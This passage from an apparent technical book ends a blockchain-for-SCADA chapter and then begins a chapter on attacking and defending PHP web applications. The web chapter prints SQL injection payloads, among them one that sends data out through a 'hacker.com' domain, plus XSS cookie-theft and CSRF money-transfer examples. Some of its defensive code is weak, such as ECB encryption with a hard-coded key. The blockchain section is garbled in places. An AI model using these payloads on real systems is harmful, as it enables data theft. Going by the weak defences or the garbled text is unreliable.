vative development IoT-based data Security. For Machine Maintenance, 
an implementation was performed using IoT communication data secu-
rity and smart contracts to showcase the proposed approach. The growing 
computer has such a configuration, and can make decisions in real time on 
its own. The details don’t need to be submitted for review and retrieval to 
a rising cloud server. The decentralized nodes decide autonomously and 
are recorded in a common ledger. The record is secure and unchangeable. 
The record is unchangeable and secure. Growing machine’s status can be 
seen throughout the whole network at a typical web page. The proposed 
approach proves to be a stable, less optimistic, and real-time production 
method. By its essence, it is interconnected, interactive, and open. This 

Table 14.1 Comparison of various studies carried out for detection of separate 
attacks in Distributed Control Systems.

S. no. Study Attack types

1. Sufang Wang, 2020 [14] APT attacks

2. Li Y. et al., 2020 [15] Different types of anomalies

3. Princo E. et al., 2019 [16] A wide range of malwares

4. Bhamare D. et al., 2019 [17] Trojans

5. Weerakkody, S. et al., 2017 [18] APT attacks
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envisages the automated IoT industry targets and moves for an integrated 
cyber-physical approach of development.

The other critical consequence of the proposed strategy is that bringing 
in more IoT systems and more applications as given in Table 14.2 onto the 
network becomes quickly scalable.

In the automotive IoT-based production industry need to secure, the 
scope of the proposed approach has several dimensions.

• Distributed production – Collaboration across the global 
production chain between all organizations involved. The 
parts are assembled in various factories and only collected 
on the edge for final assembly.

• On-demand production – When needed, the system calls 
for parts on its own and the whole chain is automated using 
IoT with Blockchain.

• Secure IoT-based Machine to Machine communication 
using Blockchain – Take away from the growing cloud 
repository use many such decentralized blockchain nodes—
machine to a computer, and customer to smart system con-
tract cryptocurrency transfers.

For example, Blockchain will send the request to a 3D printer that prints 
and sends it to the press.

In general, everyone will gain from a dedicated multi-level integrated 
blockchain stage based on critical adaptability and interoperability – a 
freely shared database between Organization, DCS, SCADA IoT device, 
distributors, controllers, suppliers, and so on. This would offer a higher 
degree of consistency and confidence, mitigate queries, and will maintain 
and feedback expenditures by actively observing and pursuing. It could also 
streamline ways that rely on endorsements of administrative and quality. 

Table 14.2 The use of smart contracts in various domains.

S. no. Study
Use of smart contracts in 

various domains

1. Hu, T. et al., 2021 [26] Finance (stock marketing)

2. Hwang H.C. et al., 2021 [27] Information technology

3. Mikavica, B. et al., 2021 [28] Cyber security

4. Cuong, N. H. H. et al., 2021 [29] Cloud computing

5. McGhin, T. et al., 2019 [30] Healthcare industries
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Table 14.3 shows the user-targeted in various industrial sectors, and Figure 
14.4 outlines the Percentage of users targeted in different sectors.

Proposed approaches are also stated:

• Businesses will not like to exchange data with vendors
• It could take longer for a smaller network to mine
• Higher protection requirements than those currently needed
• Recognition and the value of technology.
• For smaller networks and a small number of machines, the 

benefits are almost unknown.
• Crypto-currency enforcement remains unclear.

Table 14.3 The user-targeted in various industrial sectors.

Industry User targeted

Mining 38.4%

Wholesale trade 34.9%

Construction 26.6%

Finance & real estate 24.8%

Services 22.7%

Public administration 16.83%

Agriculture, forestry and fishing 13.3%
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Figure 14.4 Percentage of users targeted in different sectors.
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14.4.1 Algorithms Used for Implementation

Firstly, Blockchain was first developed for DCS, SCADA optimization in 
the manufacturing sector. It is valuable for monitoring the DCS, SCADA 
chain, and for traceability. But far from the DCS, SCADA can be uti-
lized to achieve Automated IoT industry secure focuses in the shrewd 
improvement showcase. One will execute the astute assembling phi-
losophy as pleasantly as a self-sufficient, decentralized device utilizing 
good estimated query on IoT structures from dark web and blockchain 
innovation. The philosophy has been changed into a foundation that can 
be used to any blockchain with IoT production’s value chain. Horizon- 
such convergence occurs through safe IoT contact via the network of 
the blockchain-machine-to -machine contact, system repair, etc. Vertical 
[9] integration with machines and manufacturers as well as up the line 
is achieved. Vertical integration. All information, interests, and proper-
ties are shared throughout the Blockchain in the horizontal and vertical 
integration. To carry out the research results, the technology for building 
architecture and supporting [10] it in carrying out a case study was used. 
The scope and example of this infrastructure in the automotive industry 
are followed.

14.4.2 Components of a Blockchain

User / developers operating algorithms in the database. Perform the all 
transaction process  using the blockchain technology ID [11] created 
by hazing after mining is completed. The hash Id is changed and can be 
known to others if anyone touches the transaction details. Numerous 
data compilation or activity set. Secured and protected when complete 
with a hash Name. Distributed Ledger – To keep this, it is distributed to 
everyone on the network with the same copy of the headline. To secure 
the door, you are using the number (signed blocks). So, it’s like verifying 
the block transactions. The motivation for a block or transaction lies 
with the miner. In a cryptocurrency, since several users process multi-
ple transactions, these activities are processed [12] on numerous blocks 
that are again sustained as distributed ledgers by thousands of miners 
across the network (throughout the globe). The cynics’ biggest problem 
is whether or not they trust 100,000 miners who have nothing to gain 
from lying to have a single authority with all control. The first person 
to calculate the evidence of work or the Nuncia which yields the right 
hash identification [13] receives the incentive (e.g., bitcoin) for his CPU 
and Electricity efforts. If data is handled, Hash ID changes, resulting in 
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Hash ID’s change for all subsequent blocks. The block is connected to a 
previous block and includes the previous block’s Hash ID [14]. Again, 
the individual can’t remove all blockages in the Blockchain. A new 
chain that keeps the old one intact is created if someone tries to cheat. 
Blockchain’s basic block framework is simpler, faster, lightweight, user 
cheap [15], etc. It’s not possible to maintain the latest chain, as the whole 
existing network follows the same chain and catches onto this anomaly: 
the Authentication phase.

14.4.3 MERKLE Tree

Continuously hacked node pairs produce Merkle trees until only a hash is 
left (this hash is called the Root hah or Merkle Key). It is based on individ-
ual hacks (known as Transaction IDs) from the bottom up [16].

14.4.4 The Technique of Stack and Work Proof

Those are two types of models of consensus. Verification of Work 
chips away at the reason that for Nonce, each excavator has a reason-
able opportunity to computer power it, and complete PC power must 
be utilized to mine it. The prize goes to the excavator for taking care 
of the difficult first. Every digger contends to be the first to think of an 
answer. Confirmation [17] of Stake deals with the rule that the maker 
of another square is chosen deterministically, contingent upon its riches 
or stake [18] The prize for the diggers is the exchange charges and there 
is no square prize. This gadget is progressively successful in effective-
ness. The payout is proportionate to the diggers wagered on the block. 
[19] Extremely resource-cost job evidence is. And stake evidence has 
the downside of ever prevailing, also on deceptive branch strings. This is 
called nothing at Stake problem.

Hashing – Hashing is an algorithm transformation technique that trans-
forms arbitrary data into less fixed or key data representing the original 
data. Hashing is used in a database to index and retrieve objects. In block-
chains, the hate algorithm SHA256 [22] is often used. The hash is produced 
through the search for a number (also known as Nonce), which makes 
a hash ID that corresponds to the system’s general rules. The brute force 
method uses this solution or exploitation method and is encouraged to 
create participants [10].
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14.4.5 Smart Contracts

Smart contracts are software programs based on blockchains that lay the foun-
dation for many of the latest blockchain applications and systems. These are 
essentially electronic transactions and can include trading services for cryp-
tocurrency. Essentially, it is a code with a directory function containing sev-
eral rules and the command in which the parties decide to communicate on 
an intelligence process. If the rules are fulfilled, the commands automatically 
implement them. The smart contract code encourages, verifies, and enforces 
an agreement or transaction arrangement or results. It’s merely a decentralized 
kind of automation. A smart contract governs, under some circumstances, 
specifically the movement of data or digital currencies or properties between 
users and transaction parties [20]. The smart algorithm specifies agreement- 
related requirements and liabilities and enforces specific responsibilities auto-
matically. Such contracts are held on technologies with blockchain [11].

14.5 Result Analysis

In the current pandemic situation, where online transactions are increasing, 
crime through information sharing topped the list with 22 percent, followed 
by hacking crime with 41 percent. Thirdly, it is a crime of forgery. Fourth, 
the crime rate through virtual money transactions was high. We could also 
see that the arms and drugs trade we had never thought of in the world, were 
frequently happening. This provides a useful analogy for when bitcoin and 
virtual money transactions are active and provides a single glimpse of the 
changes in each crime rate every year. Blockchain security applications will 
play an essential role in IoT-frameworks security. In precise, this SLR incor-
porates a comprehensive description of the Dark Net crime threats [21], 
the technical and forensic challenges with the anonymous network struc-
tures, and the detection methods, algorithms, tools, and strategies applied 
for locating the crimes and criminals in the  Dark Web. Cybercriminals are 
becoming more quick-witted against the enforced procedures to detect them 
inside Dark Web. As a result, challenges are elevated. Figure 14.5 shows the 
Individual distribution of different types of crime rates.

It also highlights that hacking through various sources is still a signifi-
cant source of cyber- crime. The spread of COVID-19 is a significant issue 
where people are supporting online transactions. The number of online 
sales also increases over time. Figure 14. 6 shows the comparison of online 
transactions for the last 10 years.
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14.6 Conclusion

This research work reviewed the Security Improvement Technique for DCS 
and SCADA Using Blockchain Technology Relations between physical 
items such as sensors or computers and the internet. In certain instances, 
the computation can also be installed on the object, where appropriate, 
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Figure 14.5 Individual distribution of different types of crime rates.
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between devices and controllers. DCS and SCADA in any manufacturing 
sector have been introduced to implement this device to study and analyze 
IoT-Towards DCS and SCADA’s existing approach to improve the produc-
tion system using blockchain technology. This contributes to open insights 
and decision-making, providing real-time responses. Industrial IoT: The 
relationships between human beings, data, and computers are when it 
applies to output. Market floor: In the near future, machines and equip-
ment can enhance productivity by a networking environment.
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Abstract
A developer must have an understanding ability of secure coding to create secure 
applications. A secure coding knowledge is focused on the combination of multi-
ple mechanisms for exploiting and protecting typical malicious inputs to vulnera-
bilities of an application. The aim of this chapter is to review the recent techniques 
about exploitation and protection of common malicious inputs to online applica-
tions implemented by PHP script for a developer to enhance the security of web 
pages. This chapter provides essential knowledge and mechanisms to vulnerabili-
ties management for secure online applications. 

Keywords: Exploitation, protection, web vulnerabilities, malicious inputs, 
secure coding, recent techniques, secure web applications

15.1 Introduction

Online applications (apps) are one of today’s most popular platforms for 
the distribution of information and services over the Internet. The devel-
opment of Internet makes online apps so popular and they are utilized for a 
variety of applications based on online services. The greater online services 
become, the more online apps are developed. Online apps are developed 
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not only by the server site languages such as PHP, Perl but also by the cli-
ent site languages such as HTML, JavaScript. Most of the online apps may 
contain security vulnerabilities which enable the hackers to exploit them 
and launch attacks. 

Generally, vulnerability may be an opening or weak point in the 
application that includes design imperfection or implementation fail-
ure that admits malicious input for a hacker to make loss and harm to 
the owner and the users of the application [1]. Vulnerability is gener-
ally defined as “The existence of a weakness, design, or implementation 
failure that can lead to an unexpected, undesirable event compromising 
the security of the computer system, network, application, or protocol 
involved” [2]. 

Vulnerabilities may occur due to design imperfection, poor structure, 
improper and unconfident coding, complexity of coding, unverified user 
input, or weak password management [3]. For example, if a hacker has 
a person’s bank account details, the consequence of vulnerabilities is 
very malicious; he can exploit this information such as account number, 
account balance, etc., and can also change the data to make loss to the 
person concerned. Currently online apps present thousands of vulnera-
bilities. PHP-online apps, created by PHP language, have the common 
vulnerabilities such as “SQL Injection, Cross Site Scripting (XSS), Cross 
Site Request Forgery (CSRF), Command Injection and File Inclusion” 
[4–6]. 

The purpose of this chapter is to review the recent techniques about 
exploitation and prevention of common malicious inputs to online apps 
implemented by PHP script for a developer to make web pages secure.

15.2 SQL Injection

15.2.1 Introduction

SQL injection is a method of code injection that exploits the vulnerability 
which exists in the SQL statement used in the database level of an applica-
tion. This vulnerability will occur if user input is neither definitely typed 
nor properly clarified for string literal escape characters set in SQL state-
ments and thus executed accidentally [7]. 

If the hacker can successfully exploit an online app using SQL injection, 
he will access confidential data from the database, manage administration 
operations on the database and retrieve the content of the file that exists on 
database server.
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15.2.2 Exploitation Techniques

The following techniques can be applied to exploit SQL Injection flaws in 
PHP online apps. They can be divided into three major classifications [7, 
8]. 

• In-band SQL Injection
• Inferential SQL Injection
• Out-of-band SQL Injection

15.2.2.1 In-Band SQL Injection

In-band SQL Injection happens when a hacker can both initiate the attack 
and obtain data using the same contact gateway. In-band SQL injection 
includes two methods as follows [7, 8].

(A). Error-based SQL injection
This method injects malicius input to make the database server display 
an error. The error contains the details such as databse type, version, table 
name, its content and structure. The hacker utilizes the information con-
tained in the error to extend the attack. 

Suppose that the SQL query existing in the vulnerable online app is:

SELECT firstname, lastname FROM users WHERE 
userid = '$id';

When the “userid” is injected by 1’ as malicious input, the database 
server returns the following error because of the single quote included in 
the malicious input.

ERROR 1064 - You have an error in your SQL 
syntax; check the manual that corresponds 
to your MySQL server version for the right 
syntax to use near '1'' at line 1.

(B). Union-based SQL injection
This method injects the UNION command combined with one or more 
SQL statements. The more statements must contain the same number and 
type of columns as the original statement. Then, the vulnerable online app 
retrieves confidential data from existing tables in the database. 

The following are simple attack vectors for union-based SQL injection 
into the “userid” input.
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1. The “userid” is injected by the following malicious input in 
order to display the system version and the name of the cur-
rent user. 

 1' UNION SELECT 1,version(),current_user()--

2. The “userid” is injected by the following malicious input in 
order to extract a sequence of table names.

 1' UNION SELECT 1,table_name FROM infor-
mation_schema.tables--

3. The “userid” is injected by the following malicious input in 
order to extract a sequence of column names.

 1' UNION SELECT 1, column_name FROM infor-
mation_schema.columns --

4. The “userid” is injected by the following malicious input in 
order to extract the usernames and the passwords from the 
table “users” from the database after learning table name 
as “users” and its column names as “userid, firstname, last-
name, user, password”. 

 1' UNION SELECT 1,CONCAT(user,':',password) 
FROM users –-

15.2.2.2 Inferential SQL Injection

Inferential SQL Injection does not show any error message. Therefore, 
it is known as Blind SQL Injection. In this method, after the hacker has 
observed the response of the vulnerable online app and the behavior of 
the database server, he can find the structure of database by injecting mali-
cious inputs again and again. Inferential SQL injection includes two meth-
ods as follows [7, 8].

(A). Boolean-based SQL injection
This method injects the Boolean query, which makes the vulnerable online 
app show a distinct reaction for a legal or illegal content in the database.

The following are simple attack vectors for boolean-based SQL injection 
into the “userid” input.
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1. The “userid” is injected by the following malicious input to 
check if the input is vulnerable to an SQL Injection or not.

 1' and 1=1 --

 The result is “TRUE” in the AND condition because 1 is 
legal in the “userid” and the ‘1=1’ is a TRUE statement. It 
indicates that it is vulnerable to an SQL Injection.

2. The “userid” is injected by the following malicious input 
with different number values in order to detect the length of 
the database name.

 1' and length(database())=1 --

 In this attack, the first two attempts show invalid results and 
the third does the valid one. This indicates that the database 
name is three characters long. 

3. The “userid” is injected by changing a character at the end of 
the following malicious input pattern in order to specify the 
first character in the database name.

 1' and substring(database(),1,1)='a' --

4. The “userid” is injected by changing a character at the end of 
the following malicious input pattern in order to specify the 
second character in the database name.

 1' and substring(database(),2,1)='b' --

 In this way, the hacker attempts different arguments to catch 
a character in the database name. The valid result indicates a 
character and its position in the database name. 

(B). Time-based SQL injection
This method injects the time delay command such as SLEEP which makes 
the database wait for a certain amount of time (in seconds) before answer-
ing. The response time will notify the hacker whether the injected query is 
valid or invalid. This method is used not only to check whether any other 
SQL injections are possible but also to guess the content of a database. 

The following is a simple attack vector for time-based SQL injection into 
the “userid” input.
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1. The “userid” is injected by the following malicious input in 
order to extract the database version number. 

 1' and if((select+@@version) like "10%", 
sleep(2),null) --

 If the response appears in two seconds according to the 
delay time sleep(2), it indicates that the database ver-
sion begins with “10”.

15.2.2.3 Out-of-Band SQL Injection

Out-of-band SQL Injection relies on the functionalities which are available 
on the database server being used by the online app. This method injects a 
special database command which causes a request to an external resource 
to be controlled by the hacker. If there is a request coming once the injected 
input is executed, it confirms that the SQL injection is possible. The hacker 
accesses database information and can send it to the external resource [7, 8].

The following are simple attack vectors for out-of-band SQL injection 
into the “userid” input.

1. The “userid” is injected by the following malicious input in 
order to retrieve the version of the database.

 1'; SELECT load_file(CONCAT('\\\\',ver-
sion(),'.hacker.com\\ log.txt')) --

2. The “userid” is injected by the following malicious input in 
order to retrieve the name of the database.

 1'; SELECT load_file(CONCAT('\\\\',data-
base(),'.hacker.com\\ log.txt')) --

 Then, the above attack vectors concatenate the output of 
version() or database() into the “hacker.com”, malicious 
domain. The data from the log files can be observed by the 
hacker who manages the domain.

15.2.3 Causes of Vulnerability 

The SQL injection vulnerabilities are found in the PHP online apps due to 
the following major causes [9, 10].
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• Incorrectly filtered escape characters: This variant occurs 
when user input is passed into an SQL query without fil-
tering for escape characters. It is a failure to verify the input 
until the SQL query is built. 

• Incorrect type handling: This variant occurs when a user 
input is not checked for data type and its constraints. When 
user input is used in creating complex queries, this will also 
take place. 

15.2.4 Protection Techniques

15.2.4.1 Input Validation

The data types and formats of all user inputs submitting to the online apps 
must be thoroughly checked before database query interaction to protect 
SQL injection [11]. For input validation, PHP provides not only variable 
handling functions such as is_numeric(), is_string(), is_array(), etc. but 
also filter functions like validate filters for checking data types of the inputs 
and their formats [12]. 

//1. Checking data type for the input sub-
mitting to $id 

if (is_numeric($id) == true){
//executing the SQL query...
}
else{
echo("Invalid User ID");
}
//2. Validating the email format for the 

input submitting to $email 
if (filter_var($email, FILTER_VALIDATE_EMAIL)) 

{
   echo("$email is a valid email format");
} else {
    echo("$email is a invalid email format");
}

15.2.4.2 Data Sanitization

Data sanitization and input validation may go together and harmonize 
each other. Data sanitization normally ensures that user inputs only include 
the characters that are valid. In other words, this way is the elimination of 
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illegal characters like single quotes, apostrophes and white spaces from the 
user inputs before database query interaction to protect SQL injection [11]. 

As seen below, PHP not only has filter functions like sanitize filters to 
sanitize the data from user input, but also supports the special feature 
mysql_real_escape_string() to escape illegal characters from user input  to 
protect SQL injection [12].

//1. Removing all illegal characters from 
a url

$url = filter_var($url, FILTER_SANITIZE_URL);
//2. Removing all illegal characters from 

user input 
$_id = mysql_real_escape_string($id);
$query = "SELECT firstname, lastname FROM 

users WHERE userid = '{$_id}'";
mysql_query($query);

15.2.4.3 Use of Prepared Statements

Prepared statements with parameterized queries are very helpful against 
SQL injections when input parameter values are not be correctly escaped 
[9, 11]. For PHP, MySQLi provides special functions to prepare SQL state-
ment and to bind its parameters, as shown below, to protect SQL injections 
[12].

//1. Creating connec tion
$conn = new mysqli($servername, $dbusername, 

$dbpassword, $dbname);
//2. Preparing a SQL statement
$stmt = $conn->prepare("INSERT INTO users 

(firstname, lastname, userid, password) 
VALUES (?, ?, ? ?)");

//3. Binding parameters
$stmt->bind_param("ssis", $firstname, $last-

name, $userid, $password);
// execute query…
//close statement and connection…

The PHP Data Object (PDO) is a database abstraction layer that enables 
developers to operate very easily and safely with several different types of 
databases. By telling database server what type of data to expect, it is able 
to minimize the risk of SQL injections [9, 11, 12].
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PDO::quote() puts quotations around the input string and escapes 
unusual characters from the input string. If this feature is used to put 
together SQL statements, it is highly advised to use PDO::prepare() 
that prepares SQL statements with bound parameters instead of using 
PDO::quote() that interpolates user input into an SQL statement. 
Prepared queries binding parameters shown below not only more resist 
to SQL injection, but also execute faster than interpolated queries, since 
a compiled version of the query may be cached on both the server and 
client side [12]. 

//1. Creating connection
$conn = new PDO("mysql:host=$dbhost; 

d b n a m e = $ d b n a m e " , $ d b u s e r n a m e , 
$dbpassword);

//2. Preparing a SQL statement
$stmt = $conn->prepare("SELECT firstname, 

lastname FROM users WHERE userid = :id;");
//3. Binding a parameter
$stmt->bindParam(':id', $userid);
//4. executing query…
$stmt->execute();

15.2.4.4 Limitation of Database Permission

Limiting the permissions on the database logon used by the online app 
may reduce the efficiency of any SQL injection attacks that exploit any bugs 
in the online app.

//Limiting permission on database logon
$query = "SELECT firstname, lastname FROM 

users WHERE userid = '$id' LIMIT 1;";
mysql_query($query);

15.2.4.5 Using Encryption

Encryption techniques can be applied to prevent the confidential data 
stored in the database from SQL injection attacks [13]. In PHP, encryption 
and decryption functions such as aes_encrypt(), aes_decrypt(), openssl_
encrypt(), openssl_decrypt(), mcrypt_encrypt(), mcrypt_decrypt(), etc. 
and one-way encoding functions such as md5(), sha1(), etc.  can be applied 
for concealing and authenticating sensitive data before database query 
interaction [12, 14]. 
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//1. Defining a secret key
define ("SECRETKEY", "12345abcde");
//2. Preparing a SQL statement
$sql = "INSERT INTO users (firstname, last-

name, userid, password) VALUES (?,?,?,?)";
$this->stmt = $this->pdo->prepare($sql);
//3. Encrypting the password using the 

openssl_encrypt function & the secret 
key

$ciphercode = openssl_encrypt($password, 
"AES-128-ECB", SECRETKEY);

//4. Executing query
$this->stmt->execute([$firstname, $lastname, 

$userid, $ciphercode]);

15.3 Cross Site Scripting

15.3.1 Introduction

Cross site scripting (XSS) is a common vulnerability which enables a hacker 
to inject malicious scripts into an online app. XSS differs from SQL injec-
tions, in that the online app is not targeted explicitly and its users are the 
victims of XSS attack. XSS attacks more frequently arise when malicious 
scripts are integrated into a server’s response through user input. After 
being executed by the victim’s browser, this malicious code could then 
carry out the events: totally changing the behavior of the website, stealing 
confidential data, or performing actions on behalf of the user [15–17].

15.3.2 Exploitation Techniques

An online app will have XSS vulnerabilities if it allows the user to inject 
the script code. Injection of a pop-up alert is a suitable way for a hacker to 
identify the existence of an XSS vulnerability. The techniques to exploit the 
XSS vulnerabilities are classified into three variants [15–17]:

• Reflected Cross Site Scripting (Reflected XSS)
• Stored Cross Site Scripting (Stored XSS)
• DOM-based Cross Site Scripting (DOM-based XSS)
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15.3.2.1 Reflected Cross Site Scripting

Reflected XSS, known as non-persistent XSS, is a simple variant of XSS. 
This happens when a malicious script is reflected to the user’s browser 
from an online app. The script is embedded in a link and triggered by a 
link that sends a request to a website with a vulnerability which allows 
malicious scripts to be executed. In other words, if the user visits the 
hacker’s fake link, the hacker’s malicious script is executed in the browser 
of the user. At that point, any operation can be carried out by a malicious 
script and any data that the user has access to can be retrieved [15–17].

Suppose that an online app has following vulnerable code.

echo '<div>' . $_GET['input'] . '</div>';

The input box is injected by the following malicious script in order to 
extract the session ID. 

<script>alert(document.cookie);</script>

Then, the popup window with cookie will be displayed on the page. The 
reflected script is not permanently saved. 

15.3.2.2 Stored Cross Site Scripting

Stored XSS is known as persistent XSS. It occurs when the malicious scripts 
are sent to the database of the server via the input box like comment field 
or review field. Then the malicious scripts are stored in the database of the 
server and executed when the online app is opened by the user. Every time 
the user opens the browser, the malicious script executes. The online app 
will be affected for a longer period of time until the malicious script stored 
in the database of the server is excluded [15–17]. 

Suppose that an input box on online app is created for the comment 
field of the database. The input box is injected by the following malicious 
script in order to extract the session ID. 

<script>alert(document.cookie);</script>

Then it will be saved in the database of the server and executed on the 
online app load. The popup window with cookie will be displayed.
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15.3.2.3 DOM-Based Cross Site Scripting

DOM-based XSS stands for Document Object Model-based Cross-site 
Scripting. It is sometimes known as “type-0 XSS”. The DOM works with 
HTML and XML documents. Anything contained in an HTML or XML 
document can be accessed using the DOM. When a script is executed at 
client-side, it utilizes the DOM. The script can access a variety of properties 
of the HTML document and modify their values.

As a result of changing the DOM in the victim’s browser used by the 
original client side script, the DOM-based XSS attack happens and the 
client side script executes in a malicious way. In other words, the HTTP 
response does not alter on the client side, but because of the malicious 
changes in the DOM environment, the client side code stored on the vic-
tim’s page executes in the way a hacker controlled [14–17]. 

A hacker uses several DOM properties to create a DOM-based XSS 
attack vector. The most common properties from this viewpoint are docu-
ment.url, document.location, and document.referrer.

Let’s test a DOM-based XSS attack vector in the URL http://test.com/
victim.html?default=1. In this URL, “default” is a parameter and “1” is its 
value. Suppose that a hacker embeds a malicious script “<script>alert(doc-
ument.cookie)</script>” into the victim’s URL as the parameter like the 
following.

h t t p : / / t e s t . c o m / v i c t i m . h t m l ? d e -
fault=<script>alert(document.cookie)</
script>

When the victim clicks on the link above, the browser passes a request to 
test.com, the server. Then, when the server replies with the page including 
the malicious script, the browser creates the document.location property 
which contains the URL above. The browser interprets the HTML page, 
enters and executes the malicious script, retrieving the malicious contents 
from the property document.location.

15.3.3 Causes of Vulnerability

The primary reason for XSS vulnerabilities is a result of creating online 
apps without using any extra efforts to filter user input in order to remove 
any malicious script. Another reason is that the online app which filters 
any malicious scripts gets confused and allows the malicious activation of 
input scripts. Thus, different kinds of XSS vectors can bypass most of the 
available XSS filters [15–17].
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15.3.4 Protection Techniques

The XSS vulnerabilities that found in the PHP online apps can be protected 
by the following techniques [15–18].

15.3.4.1 Data Validation

PHP provides regular expressions for pattern manipulation [12]. The pat-
tern manipulation on input data is an important data validation technique 
to prevent it against XSS attack. 

Suppose that input data need to be validated for a telephone number. 
Any string should be discarded for this input data because a telephone 
number should consist entirely of digits. The number of digits should be 
taken into consideration. This input data should include a small range of 
special characters such as plus, brackets, and dashes that are often found in 
the typical telephone number format. Therefore, input data for a telephone 
number should be validated as following.

//validating input data for a US telephone 
number 

i f ( p r e g _ m a t c h ( ' / ^ ( ( 1 - ) ? d { 3 } - )
d{3}-d{4}$/',$phone))

{echo $phone . "is valid format."; } 
else { echo "Invalid Input Data";}

15.3.4.2 Data Sanitization

Data sanitization is the process of ensuring input data is clean by deleting 
any illegal patterns from the input data and normalizing it to the correct 
format. The PHP functions, strip_tags() and filter_var(), are helpful for 
deleting illegal patterns such as HTML, JavaScript and PHP tags from the 
input string for a protection of XSS injection [12].

// Sanitizing illegal tags from the input 
of comments

$comment = strip_tags($_POST["comment"]);

15.3.4.3 Escaping on Output

The output data should also be escaped before presenting it to the user to 
protect the data integrity. This activity prohibits the browser from utiliz-
ing any unintended sense to any special characters. PHP has two func-
tions: htmlspecialchars() and htmlentities(), which prevents the injected 
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code from rendering as HTML and displays it as plain text to the web 
browser [12]. By using the functions htmlspecialchars() and htmlenti-
ties(), HTML characters are encoded to HTML entities. These functions 
make the HTML characters like < and > become the HTML entities like 
&lt; and &gt;. This way stops hackers from manipulating the code in the 
form of XSS attacks by injecting HTML or Javascript code [12, 14]. The 
following code prevents the comment contents from injecting illegal 
code.

// escaping comments before display
$comments = file_get_contents("comments.

txt");
echo htmlspecialchars($comments);

15.3.4.4 Use of Content Security Policy

Content-Security-Policy (CSP) is the name of a HTTP response header 
that modern browsers use to enhance the security of the web page. CSP 
is a mechanism for browser security that targets to defend against XSS 
attacks. If the previous techniques fail, CSP should be used to reduce XSS 
by restricting what a hacker can do. The CSP header allows web developers 
to restrict how resources such as JavaScript, CSS, or pretty much anything 
that the browser loads.

The common way of creating a CSP header is by setting it directly in the 
HTTP Header. The CSP header value is made up of one or more directives, 
separated by semicolons. The resources of web page can be restricted by 
setting the directives with the specific values as following [14].

header("content-security-policy: script-src 
'self'; img-src https://images.website.
com");

The directive below only enables scripts to be loaded from the same 
origin as the page itself.

script-src 'self'

The directive below only enables images to be loaded from a specific 
domain.

img-src https://images.website.com
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15.4 Cross Site Request Forgery

15.4.1 Introduction

Cross-Site Request Forgery (CSRF) is an attack that allows an end user to 
perform malicious actions on an online app in which they are currently 
authenticated. A hacker can trick the users of an online app into perform-
ing malicious actions based on the hacker’s choice with a support of social 
engineering, like sending a link with a support of email or chat. An effec-
tive CSRF attack allows the execution of state-changing requests, such as 
transferring amount of money, changing email address, etc. If the victim is 
in the administrative role, the whole online app may be infected by CSRF 
attack. If the infected user has a privileged role within the application, the 
hacker will be able to gain complete control of all the data and features of 
the application. Therefore, CSRF attacks are client-side attacks which can 
be exploited within the user’s session to redirect the victims to a bogus 
website, steal confidential data or perform other malicious actions [19, 20].

15.4.2 Exploitation Techniques

There are many ways in which it is possible to trick an end user into load-
ing data from or submitting data to an online app. A hacker must well 
know how to generate a valid malicious request for the victim to execute. 
The CSRF attack consists of the typical steps: (1) creating an exploit URL 
or script and (2) tricking the victim into performing the target action with 
a support of social engineering. A HTTP request can be created by GET or 
POST method [19–21].

15.4.2.1 HTTP Request with GET Method

CSRF vulnerabilities can be exploited by using URL fake links with param-
eters to be attacked. A fake link can be created by using HTML <img> 
tag, <iframe> tag or <a> tag. When the victim visits the fake URL link as 
following example, CSRF attack can be occurred.

<a href ='http://bank.com/Money/transfer. 
php? name = Smith & amount =100000000 
&Submit=Transfer'>View my Pictures!</a>
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15.4.2.2 HTTP Request with POST Method

CSRF vulnerabilities can be exploited by using HTML form tag with hid-
den attributes. The hacker can easily collect all information about input 
form of the victim by using “View Page Source” option of the browser.  
Therefore, the hacker can create fake web page with HTML form’s attri-
butes viewed by himself. This form contains hidden attributes and the 
attributes’ value. When the victim visits the fake web page as following 
example, CSRF attack can happen.

<body onload ="document.forms[0].submit()">
<form action ="transferPost.php" name = 

"form1" method =     "POST">
<input type ="hidden" name ="name" value = 

"Maria">
<input type ="hidden" name ="amount" value 

="100000">                      <input type 
="hidden" name="Submit" value ="view my 
pictuers">

</form>
</body>

15.4.3 Causes of Vulnerability 

The CSRF attacks are caused by the following vulnerable circumstances 
[19–21].

15.4.3.1 Session Cookie Handling Mechanism

The HTTP protocol includes a session cookie facility that helps the web 
server to make an identity between requests originating from a variety of 
users. When the user is legal, the session cookie information is transferred 
from server to client on any request and vice versa. Whenever the request 
having the session cookie information is received by the server, it executes 
that request without detecting the source of the request. Therefore, when 
CSRF hacker submits a request via the browser to the server by embedding 
it in the exploited site, it successfully runs on the server because there is no 
mechanism to check that the request comes from another domain and it 
is untrue.
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15.4.3.2 HTML Tag

There are so many HTML tags that can submit requests to the server, 
but each tag is generated for specific request type, such as image files, 
JavaScript files, etc. HTML does not verify whether the <source> tag 
has a legal URL or not, and this vulnerability is exploited by CSRF 
hackers.

15.4.3.3 Browser’s View Source Option

The “View Source” option in the browser presents all information about 
the fields contained in the forms. For CSRF attacks, by using the browser 
view source option, a hacker can gather the necessary details about how 
the form functions on the victim’s web page.

15.4.3.4 GET and POST Method 

Input data obtained in the form fields is submitted to the server through 
GET or POST method. The GET method allows a hacker to append form 
data to the URL, HTML request, by separating the ‘?’ character between 
them.

The POST method makes form data pass through HTTP headers. 
Normally, this method does not have any limitation on the size of the data 
submitted by the form inputs. It also allows ASCII as well as binary data. 
This weakness can be exploited by CSRF attack.

15.4.4 Protection Techniques

The CSRF vulnerabilities that are found in the PHP online apps can be 
protected by the following techniques [19–22].

15.4.4.1 Checking HTTP Referer

HTTP request includes HTTP_REFERER parameter that identifies the 
URL of site from which the request originates [14]. This parameter can be 
applied to validate the client-side domain request before redirecting the 
request to the server. Therefore, HTTP Referer should be checked to pre-
vent online apps from CSRF attack as shown below.
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if( isset( $_REQUEST[ 'Submit' ] ) && $_
SERVER['HTTP_REFERER']=="http://bank.com/
Money/transfer.php?") {$query = "UPDATE 
transfer SET Amount ='$amount' WHERE  
Name ='$name';";}

15.4.4.2 Using Custom Header

Custom headers, which prefixed with X, are submitted along with the reg-
ular HTTP header to the client. One major feature of these headers is that 
it is not feasible to transmit them through domains. The browser stops cus-
tom headers from being transmitted from one domain to another [14]. 
Therefore, custom headers should be used to prevent online apps from 
CSRF attack.

15.4.4.3 Using Anti-CSRF Tokens

Anti-CSRF tokens known as synchronizer token patterns are unique val-
ues applied in online apps to protect CSRF attacks. The basic principle of 
anti-CSRF tokens is to provide a token to a browser and check whether the 
browser sends it back [22]. The token must be an identity and difficult for 
